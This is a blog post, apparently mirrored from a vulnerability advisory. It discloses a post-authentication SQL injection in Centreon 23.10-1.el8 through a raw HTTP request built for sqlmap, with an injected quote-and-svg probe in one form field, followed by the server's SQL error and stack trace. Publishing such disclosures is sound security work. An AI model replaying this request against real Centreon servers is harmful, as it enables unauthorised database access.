{"id":56291,"date":"2024-04-16T19:19:38","date_gmt":"2024-04-16T15:19:38","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/178076\/centreon23101el8-sql.txt"},"modified":"2024-04-16T19:19:38","modified_gmt":"2024-04-16T15:19:38","slug":"centreon-23-10-1-el8-sql-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/centreon-23-10-1-el8-sql-injection\/","title":{"rendered":"Centreon 23.10-1.el8 SQL Injection"},"content":{"rendered":"<p>;; Postauth SQL Injection in Centreon 23.10-1.el8<br \/>;; by code610<br \/>;; <br \/>;; found : 05.03.2024<br \/>;; version: centreon-vbox-vm-23_10-1.el8.zip<br \/>;; details: https:\/\/code610.blogspot.com\/2024\/04\/postauth-sqli-in-centreon-2310-1el8.html<br \/>;; <\/p>\n<p>;; sqlmap request.txt<\/p>\n<p>POST \/centreon\/main.get.php?p=60201 HTTP\/1.1<br \/>Host: 192.168.56.156<br \/>User-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko\/20100101 Firefox\/121.0<br \/>Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,*\/*;q=0.8<br \/>Accept-Language: pl,en-US;q=0.7,en;q=0.3<br \/>Accept-Encoding: gzip, deflate, br<br \/>Content-Type: application\/x-www-form-urlencoded<br \/>Content-Length: 2529<br \/>Origin: http:\/\/192.168.56.156<br \/>Connection: keep-alive<br \/>Referer: http:\/\/192.168.56.156\/centreon\/main.get.php?p=60201&amp;o=a<br \/>Cookie: PHPSESSID=dvipe1o0so6gcg52gkgcrg2avh<br \/>Upgrade-Insecure-Requests: 1<\/p>\n<p>service_description=2222222222xxxxxxxx22&amp;service_hPars%5B%5D=&#8217;%3e%22%3e%3csvg%2fonload%3dprompt(123)%3e&amp;service_template_model_stm_id=83&amp;command_command_id=134&amp;macroInput%5B0%5D=MODE&amp;macroValue%5B0%5D=connection-time&amp;macroFrom%5B0%5D=fromTpl&amp;macroTplValue_0=connection-time&amp;macroOriginalName_0=&amp;macroTplValToDisplay_0=1&amp;macroDescription_0=&amp;macroTpl_0=Service+template+%3A+App-DB-MySQL-Connection-Time&amp;macroOldValue_0=connection-time&amp;isFrozen_0=0&amp;clone_order_macro_0=&amp;macroInput%5B1%5D=WARNING&amp;macroValue%5B1%5D=1000&amp;macroFrom%5B1%5D=fromTpl&amp;macroTplValue_1=1000&amp;macroOriginalName_1=&amp;macroTplValToDisplay_1=1&amp;macroDescription_1=&amp;macroTpl_1=Service+template+%3A+App-DB-MySQL-Connection-Time&amp;macroOldValue_1=1000&amp;isFrozen_1=0&amp;clone_order_macro_1=&amp;macroInput%5B2%5D=CRITICAL&amp;macroValue%5B2%5D=5000&amp;macroFrom%5B2%5D=fromTpl&amp;macroTplValue_2=5000&amp;macroOriginalName_2=&amp;macroTplValToDisplay_2=1&amp;macroDescription_2=&amp;macroTpl_2=Service+template+%3A+App-DB-MySQL-Connection-Time&amp;macroOldValue_2=5000&amp;isFrozen_2=0&amp;clone_order_macro_2=&amp;timeperiod_tp_id=1&amp;service_max_check_attempts=&amp;service_normal_check_interval=&amp;service_retry_check_interval=&amp;service_active_checks_enabled%5Bservice_active_checks_enabled%5D=2&amp;service_passive_checks_enabled%5Bservice_passive_checks_enabled%5D=2&amp;service_is_volatile%5Bservice_is_volatile%5D=2&amp;service_notifications_enabled%5Bservice_notifications_enabled%5D=2&amp;service_use_only_contacts_from_host%5Bservice_use_only_contacts_from_host%5D=0&amp;service_notification_interval=&amp;timeperiod_tp_id2=&amp;service_first_notification_delay=&amp;service_recovery_notification_delay=&amp;service_obsess_over_service%5Bservice_obsess_over_service%5D=2&amp;service_acknowledgement_timeout=&amp;service_check_freshness%5Bservice_check_freshness%5D=2&amp;service_freshness_threshold=&amp;service_flap_detection_enabled%5Bservice_flap_detection_enabled%5D=2&amp;service_low_flap_threshold=&amp;service_high_flap_threshold=&amp;service_retain_status_information%5Bservice_retain_status_information%5D=2&amp;service_retain_nonstatus_information%5Bservice_retain_nonstatus_information%5D=2&amp;service_event_handler_enabled%5Bservice_event_handler_enabled%5D=2&amp;command_command_id2=&amp;command_command_id_arg2=&amp;graph_id=&amp;esi_notes_url=&amp;esi_notes=&amp;esi_action_url=&amp;esi_icon_image=&amp;esi_icon_image_alt=&amp;criticality_id=&amp;geo_coords=&amp;service_activate%5Bservice_activate%5D=1&amp;service_comment=&amp;submitA=Save&amp;macroFrom%5B%23index%23%5D=direct&amp;service_id=&amp;service_register=1&amp;p=60201&amp;o=a&amp;initialValues=a%3A0%3A%7B%7D&amp;select=&amp;argChecker=1&amp;macChecker=1&amp;centreon_token=0e87a8f24318f5221765b62c09cb10bf<\/p>\n<p>;; &#8212; <\/p>\n<p>;; init response:<\/p>\n<p>&lt;a href=&#8221;main.php?p=60201&#8243;<br \/>class=&#8221;pathWay&#8221;&gt;Services by host&lt;\/a&gt;<br \/>&lt;\/div&gt;<br \/>SQLSTATE[HY093]: Invalid parameter number: parameter was not definedSQLSTATE[HY093]: Invalid parameter number: parameter was not definedSQLSTATE[HY093]: Invalid parameter number: parameter was not definedSQLSTATE[HY093]: Invalid parameter number: parameter was not definedSQLSTATE[HY093]: Invalid parameter number: parameter was not definedSQLSTATE[HY093]: Invalid parameter number: parameter was not defined&lt;br \/&gt;<br \/>&lt;b&gt;Fatal error&lt;\/b&gt;: Uncaught PDOException: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near &#8216;&#8221;&gt;&lt;svg\/onload=prompt(123)&gt;&#8217; AND hsr.service_service_id = service_id AND servi&#8230;&#8217; at line 1 in \/usr\/share\/centreon\/www\/class\/centreonDB.class.php:311<br \/>Stack trace:<br \/>#0 \/usr\/share\/centreon\/www\/class\/centreonDB.class.php(311): PDO-&gt;query()<br \/>#1 \/usr\/share\/centreon\/www\/include\/configuration\/configObject\/service\/DB-Func.php(281): CentreonDB-&gt;query()<br \/>#2 \/usr\/share\/centreon\/vendor\/openpsa\/quickform\/lib\/HTML\/QuickForm\/Rule\/Callback.php(57): testServiceExistence()<br \/>#3 \/usr\/share\/centreon\/vendor\/openpsa\/quickform\/lib\/HTML\/QuickForm\/RuleRegistry.php(130): HTML_QuickForm_Rule_Callback-&gt;validate()<br \/>#4 \/usr\/share\/centreon\/vendor\/openpsa\/quickform\/lib\/HTML\/QuickForm.php(1315): HTML_QuickForm_RuleRegistry-&gt;validate()<br \/>#5 \/usr\/share\/centreon\/www\/include\/configuration\/configObject\/service\/formService.php(1156): HTML_QuickForm-&gt;validate()<br \/>#6 \/usr\/share\/centreon\/www\/include\/configuration\/configObject\/service\/serviceByHost.php(127): require_once(&#8216;&#8230;&#8217;)<br \/>#7 \/usr\/share\/centreon\/www\/main.get.php(304): include_once(&#8216;&#8230;&#8217;)<br \/>#8 {main}<br \/>thrown in &lt;b&gt;\/usr\/share\/centreon\/www\/class\/centreonDB.class.php&lt;\/b&gt; on line &lt;b&gt;311&lt;\/b&gt;&lt;br \/&gt;<\/p>\n<p>;; &#8212; <\/p>\n<p>;; More:<br \/>;; https:\/\/code610.blogspot.com<br \/>;; https:\/\/twitter.com\/CodySixteen<br \/>;; <br \/>;; cheers<br \/>;; <\/p>\n","protected":false},"excerpt":{"rendered":"<p>;; Postauth SQL Injection in Centreon 23.10-1.el8;; by code610;; ;; found : 05.03.2024;; version: centreon-vbox-vm-23_10-1.el8.zip;; details: https:\/\/code610.blogspot.com\/2024\/04\/postauth-sqli-in-centreon-2310-1el8.html;; ;; sqlmap request.txt POST \/centreon\/main.get.php?p=60201 HTTP\/1.1Host: 192.168.56.156User-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko\/20100101 Firefox\/121.0Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,*\/*;q=0.8Accept-Language: pl,en-US;q=0.7,en;q=0.3Accept-Encoding: gzip, deflate, brContent-Type: application\/x-www-form-urlencodedContent-Length: 2529Origin: http:\/\/192.168.56.156Connection: keep-aliveReferer: http:\/\/192.168.56.156\/centreon\/main.get.php?p=60201&amp;o=aCookie: PHPSESSID=dvipe1o0so6gcg52gkgcrg2avhUpgrade-Insecure-Requests: 1 service_description=2222222222xxxxxxxx22&amp;service_hPars%5B%5D=&#8217;%3e%22%3e%3csvg%2fonload%3dprompt(123)%3e&amp;service_template_model_stm_id=83&amp;command_command_id=134&amp;macroInput%5B0%5D=MODE&amp;macroValue%5B0%5D=connection-time&amp;macroFrom%5B0%5D=fromTpl&amp;macroTplValue_0=connection-time&amp;macroOriginalName_0=&amp;macroTplValToDisplay_0=1&amp;macroDescription_0=&amp;macroTpl_0=Service+template+%3A+App-DB-MySQL-Connection-Time&amp;macroOldValue_0=connection-time&amp;isFrozen_0=0&amp;clone_order_macro_0=&amp;macroInput%5B1%5D=WARNING&amp;macroValue%5B1%5D=1000&amp;macroFrom%5B1%5D=fromTpl&amp;macroTplValue_1=1000&amp;macroOriginalName_1=&amp;macroTplValToDisplay_1=1&amp;macroDescription_1=&amp;macroTpl_1=Service+template+%3A+App-DB-MySQL-Connection-Time&amp;macroOldValue_1=1000&amp;isFrozen_1=0&amp;clone_order_macro_1=&amp;macroInput%5B2%5D=CRITICAL&amp;macroValue%5B2%5D=5000&amp;macroFrom%5B2%5D=fromTpl&amp;macroTplValue_2=5000&amp;macroOriginalName_2=&amp;macroTplValToDisplay_2=1&amp;macroDescription_2=&amp;macroTpl_2=Service+template+%3A+App-DB-MySQL-Connection-Time&amp;macroOldValue_2=5000&amp;isFrozen_2=0&amp;clone_order_macro_2=&amp;timeperiod_tp_id=1&amp;service_max_check_attempts=&amp;service_normal_check_interval=&amp;service_retry_check_interval=&amp;service_active_checks_enabled%5Bservice_active_checks_enabled%5D=2&amp;service_passive_checks_enabled%5Bservice_passive_checks_enabled%5D=2&amp;service_is_volatile%5Bservice_is_volatile%5D=2&amp;service_notifications_enabled%5Bservice_notifications_enabled%5D=2&amp;service_use_only_contacts_from_host%5Bservice_use_only_contacts_from_host%5D=0&amp;service_notification_interval=&amp;timeperiod_tp_id2=&amp;service_first_notification_delay=&amp;service_recovery_notification_delay=&amp;service_obsess_over_service%5Bservice_obsess_over_service%5D=2&amp;service_acknowledgement_timeout=&amp;service_check_freshness%5Bservice_check_freshness%5D=2&amp;service_freshness_threshold=&amp;service_flap_detection_enabled%5Bservice_flap_detection_enabled%5D=2&amp;service_low_flap_threshold=&amp;service_high_flap_threshold=&amp;service_retain_status_information%5Bservice_retain_status_information%5D=2&amp;service_retain_nonstatus_information%5Bservice_retain_nonstatus_information%5D=2&amp;service_event_handler_enabled%5Bservice_event_handler_enabled%5D=2&amp;command_command_id2=&amp;command_command_id_arg2=&amp;graph_id=&amp;esi_notes_url=&amp;esi_notes=&amp;esi_action_url=&amp;esi_icon_image=&amp;esi_icon_image_alt=&amp;criticality_id=&amp;geo_coords=&amp;service_activate%5Bservice_activate%5D=1&amp;service_comment=&amp;submitA=Save&amp;macroFrom%5B%23index%23%5D=direct&amp;service_id=&amp;service_register=1&amp;p=60201&amp;o=a&amp;initialValues=a%3A0%3A%7B%7D&amp;select=&amp;argChecker=1&amp;macChecker=1&amp;centreon_token=0e87a8f24318f5221765b62c09cb10bf ;; &#8212; ;; init response: &lt;a href=&#8221;main.php?p=60201&#8243;class=&#8221;pathWay&#8221;&gt;Services by host&lt;\/a&gt;&lt;\/div&gt;SQLSTATE[HY093]: &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56291","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56291","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56291"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56291\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56291"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56291"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56291"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}